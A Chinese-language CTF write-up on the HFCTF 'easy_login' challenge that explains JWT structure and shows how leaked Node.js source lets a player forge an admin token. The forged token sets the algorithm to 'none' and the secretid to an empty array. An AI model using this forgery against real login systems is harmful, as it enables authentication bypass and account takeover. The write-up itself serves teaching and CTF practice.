从hfctf学习JWT伪造

easy_login

简单介绍一下什么是JWT

Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。

实际像这么一段数据

这串数据以(.)作为分隔符分为三个部分,依次如下:

l Header

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 解码为 {   "alg": "HS256",   "typ": "JWT" }
alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT

l Payload

l Signature

Signature 部分是对前两部分的签名,防止数据篡改。

首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

HMACSHA256(   base64UrlEncode(header) + "." +   base64UrlEncode(payload),   secret )

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.)分隔,就可以返回给用户。

JWT安全问题一般有以下

1. 修改算法为none

2. 修改算法从RS256到HS256

3. 信息泄漏 密钥泄漏

4. 爆破密钥

首先是一个登录框,我们先注册一个账号admin123,admin123

看题目意思应该是想办法变成admin来登录

查看前端代码js/app.js

1./**
2. *  或许该用 koa-static 来处理静态文件
3. *  路径该怎么配置?不管了先填个根目录XD
4. */
5.
6.function login() {
7.    const username = $("#username").val();
8.    const password = $("#password").val();
9.    const token = sessionStorage.getItem("token");
10.    $.post("/api/login", {username, password, authorization:token})
11.        .done(function(data) {
12.            const {status} = data;
13.            if(status) {
14.                document.location = "/home";
15.            }
16.        })
17.        .fail(function(xhr, textStatus, errorThrown) {
18.            alert(xhr.responseJSON.message);
19.        });
20.}
21.
22.function register() {
23.    const username = $("#username").val();
24.    const password = $("#password").val();
25.    $.post("/api/register", {username, password})
26.        .done(function(data) {
27.            const { token } = data;
28.            sessionStorage.setItem('token', token);
29.            document.location = "/login";
30.        })
31.        .fail(function(xhr, textStatus, errorThrown) {
32.            alert(xhr.responseJSON.message);
33.        });
34.}
35.
36.function logout() {
37.    $.get('/api/logout').done(function(data) {
38.        const {status} = data;
39.        if(status) {
40.            document.location = '/login';
41.        }
42.    });
43.}
44.
45.function getflag() {
46.    $.get('/api/flag').done(function(data) {
47.        const {flag} = data;
48.        $("#username").val(flag);
49.    }).fail(function(xhr, textStatus, errorThrown) {
50.        alert(xhr.responseJSON.message);
51.    });
52.}

根据注释符提示可以发现存在源码泄露问题

接着发现了源码泄漏

访问app.js,controller.js,rest.js即可得到源代码

关键代码controllers/api.js

1.const crypto = require('crypto');
2.
3.const fs = require('fs')
4.
5.const jwt = require('jsonwebtoken')
6.
7.
8.const APIError = require('../rest').APIError;
9.
10.
11.module.exports = {
12.
13.    'POST /api/register': async (ctx, next) => {
14.
15.        const {username, password} = ctx.request.body;
16.
17.
18.        if(!username || username === 'admin'){
19.
20.            throw new APIError('register error', 'wrong username');
21.
22.        }
23.
24.
25.        if(global.secrets.length > 100000) {
26.
27.            global.secrets = [];
28.
29.        }
30.
31.
32.        const secret = crypto.randomBytes(18).toString('hex');
33.
34.        const secretid = global.secrets.length;
35.
36.        global.secrets.push(secret)
37.
38.
39.        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
40.
41.
42.
43.        ctx.rest({
44.
45.            token: token
46.
47.        });
48.
49.
50.        await next();
51.
52.    },
53.
54.
55.
56.    'POST /api/login': async (ctx, next) => {
57.
58.        const {username, password} = ctx.request.body;
59.
60.
61.        if(!username || !password) {
62.
63.            throw new APIError('login error', 'username or password is necessary');
64.
65.        }
66.
67.
68.
69.        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
70.
71.
72.        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
73.
74.
75.
76.        console.log(sid)
77.
78.
79.        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
80.
81.            throw new APIError('login error', 'no such secret id');
82.
83.        }
84.
85.
86.        const secret = global.secrets[sid];
87.
88.
89.        const user = jwt.verify(token, secret, {algorithm: 'HS256'});
90.
91.
92.        const status = username === user.username && password === user.password;
93.
94.
95.        if(status) {
96.
97.            ctx.session.username = username;
98.
99.        }
100.
101.
102.        ctx.rest({
103.
104.            status
105.
106.        });
107.
108.
109.        await next();
110.
111.    },
112.
113.
114.    'GET /api/flag': async (ctx, next) => {
115.
116.        if(ctx.session.username !== 'admin'){
117.
118.            throw new APIError('permission error', 'permission denied');
119.
120.        }
121.
122.
123.        const flag = fs.readFileSync('/flag').toString();
124.
125.        ctx.rest({
126.
127.            flag
128.
129.        });
130.
131.
132.        await next();
133.
134.    },
135.
136.
137.    'GET /api/logout': async (ctx, next) => {
138.
139.        ctx.session.username = null;
140.
141.        ctx.rest({
142.
143.            status: true
144.
145.        })
146.
147.        await next();
148.
149.    }
150.
151.};  

尝试注册,可以看到在注册的时候生成了一个token,并存在sessionStorage中

得到:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbjEyMyIsInBhc3N3b3JkIjoiYWRtaW4xMjMiLCJpYXQiOjE1ODczNzg4MjB9.o5ePpkaTQcSBxmOV-z6hBsWmvvbkd1a_C6Eu7Dpok4Q

解密得到:

token生成过程

1.const secret = crypto.randomBytes(18).toString('hex');
2.const secretid = global.secrets.length;
3.global.secrets.push(secret)
4.const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}

看看各种条件,这里会先对sid进行验证,我们需要绕过这条认证,下面还有一个jwt.verify()的验证并赋值给user

1.const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
2.console.log(sid)
3.if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
4.    throw new APIError('login error', 'no such secret id');
5.}
6.const secret = global.secrets[sid];
7.const user = jwt.verify(token, secret, {algorithm: 'HS256'});
8.const status = username === user.username && password === user.password;
9......
10.....
11.'GET /api/flag': async (ctx, next) => {
12.    if(ctx.session.username !== 'admin'){
13.        throw new APIError('permission error', 'permission denied');
14.    }

这里的密钥是生成了18位,基本没有爆破的可能性,我们使用的方法是将算法(alg)设置为none,接着我们需要让jwt.verify()验证中的secret为空,这里有个tricks

再看看能不能过条件

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
运行结果
1. > sid < secrets.length
2. true
3. > sid >= 0
4. true
我们将header修改
1. 原:
2. {
3.   "alg": "HS256",
4.   "typ": "JWT"
5. }
6. ===>
7. {
8.   "alg": "none",
9.   "typ": "JWT"
10. }
11. 并加密为
12. eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
修改payload
1. {
2.   "secretid": 1,
3.   "username": "admin123",
4.   "password": "admin123",
5.   "iat": 1587378820
6. }
7. ===>
8. {
9.   "secretid": [],
10.   "username": "admin",
11.   "password": "admin123",
12.   "iat": 1587378820
13. }
14. 并加密为
15. eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ

最后使用(.)进行拼接得到伪造的token

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ.

修改sessionStorage

接着使用admin,admin123登录访问api/flag,即可得到flag

参考:

https://www.ruanyifeng.com/blog/2018/07/json_web_token-tutorial.html

https://jwt.io/

(0)

相关推荐

  • koa2实现jwt登录

    koa2实现jwt登录

  • 实战:Express 模拟 CSRF 攻击

    CSRF攻击 是前端领域常见的安全问题,概念方面不再赘述,可以参考维基百科.对于这些概念,包括名词定义.攻击方式.解决方案等估计大家都看过不少,但留下印象总是很模糊,要动手操作一番才能加深印象并能真正 ...

  • 认证授权基础

    认证授权基础

  • C#实现JWT无状态验证的实战应用

    前言 本文主要介绍JWT的实战运用. 准备工作 首先我们创建一个Asp.Net的,包含MVC和WebApi的Web项目. 然后使用Nuget搜索JWT,安装JWT类库,如下图. 设计思路 这里我们简单 ...

  • Django REST Framework教程(7): 如何使用JWT认证(神文多图)

    在前面的DRF系列文章中,我们介绍了DRF认证(authentication)的本质, 以及自带的几种认证方案,包括TokenAuthentication方案.然而JSON Web Token(JWT ...

  • drf——基于jwt的多方式登录以及自定义多方式登录

    一.基于jwt的多方式登陆 1 手机号+密码 用户名+密码 邮箱+密码 2 流程分析(post请求): -路由:自动生成(推荐自动生成,自己手写也行) -视图类:ViewSet(ViewSetMixi ...

  • drf—— JWT认证及基本使用

    一.JWT认证介绍 1 不再使用Session认证机制,而使用Json Web Token(本质就是token)认证机制,用户登录认证 2 用户只要登录了,返回用户一个token串(随机字符串),每次 ...

  • JWT-配置与使用

    JWT-配置与使用

  • 第 82 天:Python Web 开发之 JWT 简介

    在之前的课程中,介绍过 Flask-Login 框架,它是基于 Session 和 Cookie 技术来实现用户授权和验证的,不过 Session 有很多的局限性,这一节介绍一种基于 token 的验 ...

  • JWT(Json Wen Token)原理剖析

    JWT(即json web token),大家先看下面这张图 大家可以观察到,jwt String就是生成后的jwt字符集,其中有两个 "."(注意:jwt校验会对".& ...